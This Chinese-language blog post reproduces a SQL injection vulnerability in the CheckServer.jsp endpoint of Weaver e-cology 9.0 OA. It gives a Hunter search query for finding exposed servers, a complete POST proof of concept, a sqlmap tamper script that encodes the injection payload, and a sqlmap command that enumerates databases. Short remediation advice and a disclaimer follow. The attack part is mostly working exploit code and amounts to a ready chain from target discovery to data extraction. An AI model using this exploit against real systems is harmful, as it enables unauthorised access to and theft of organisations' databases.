
泛微E-Cology漏洞曝光:CheckServer.jsp SQL注入危机
泛微e-cology是以移动互联下的组织社交化转型需求为导向,采用轻前端重后端的设计思路,在前端面向用户提供个性化的办公平台,后端引擎帮助企业高效整合既有的IT资源生成符合用户需求的IT应用,并能够与e-mobile、移动集成平台等双剑合璧,帮助企业通过APP、微信、钉钉等多种路径实现移动协同办公,并依托全新的设计理念,全新的管理思想,为中大型组织创建全新的高效协同办公环境。泛微e-cology 9.0 OA致力于为大中型企业组织提供移动化、社交化、平台化、云端化的大OA服务,包含“智能化、平台化、全程电子化”三大特色。
然而在网络安全领域,SQL注入是一种常见的攻击手段,通过在Web应用的数据输入点插入恶意SQL代码,企图欺骗数据库执行未授权的命令。这种攻击可以导致数据泄露、数据篡改甚至整个数据库的破坏。
下面是复现泛微E-Cology CheckServer.jsp路径SQL注入漏洞的思路分享,附图解析说明。
漏洞复现过程
搜索语法
Hunter
app.name="泛微 e-cology 9.0 OA"
漏洞POC
POST /mobile/plugin/CheckServer.jspHTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaKContent-Length: 857------WebKitFormBoundarymVk33liI64J7GQaKContent-Disposition: form-data;name="settings"------WebKitFormBoundarymVk33liI64J7GQaKContent-Disposition: form-data;name="type"mobileSetting------WebKitFormBoundarymVk33liI64J7GQaKContent-Disposition: form-data;name="timestamp"1------WebKitFormBoundarymVk33liI64J7GQaK
漏洞利用过程
使用poc发送时,发现响应包中返回system error证明漏洞存在。
使用脚本
#!/usr/bin/env pythonimport refrom lib.core.enums import PRIORITY__priority__ = PRIORITY.HIGHESTdef dependencies():passdef encode(string):encode_string = ""for char in string:encode_char = hex(ord(char)).replace("0x","%")encode_string += encode_charreturn encode_stringdef tamper(payload, **kwargs):"""# and '1--and anANDdor oORr<space> %a0"""
payload ="%27"+encode(payload)+"%20%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%4d%6f%62%69%6c%65%44%6f%63%53%65%74%74%69%6e%67%20%77%68%65%72%65%20%6e%61%6d%65%3d%27"payload ="\r\n[{\"scope\":\"1\",\"module\":\"2\",\"setting\":\"@"+payload+"|1\",\"modulename\":\"test111\",\"include\":\"1\",\"orasc\":\"1\"}]"return payload
使用语句可以注入:
python3 sqlmap.py -r 1.txt --tamper "脚本名称.py" --dbms "Microsoft SQLServer" --technique "T" -level 5 --dbs
修复建议
1.对于数据库查询,使用参数化查询而不是直接拼接字符串。这样可以确保用户输入不会被解释为SQL代码的一部分。
2.对用户输入进行验证和过滤,确保输入的数据符合预期的格式,不包含恶意的SQL代码。
3.避免将用户输入直接拼接到SQL语句中,尤其是不经过验证的用户输入。
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果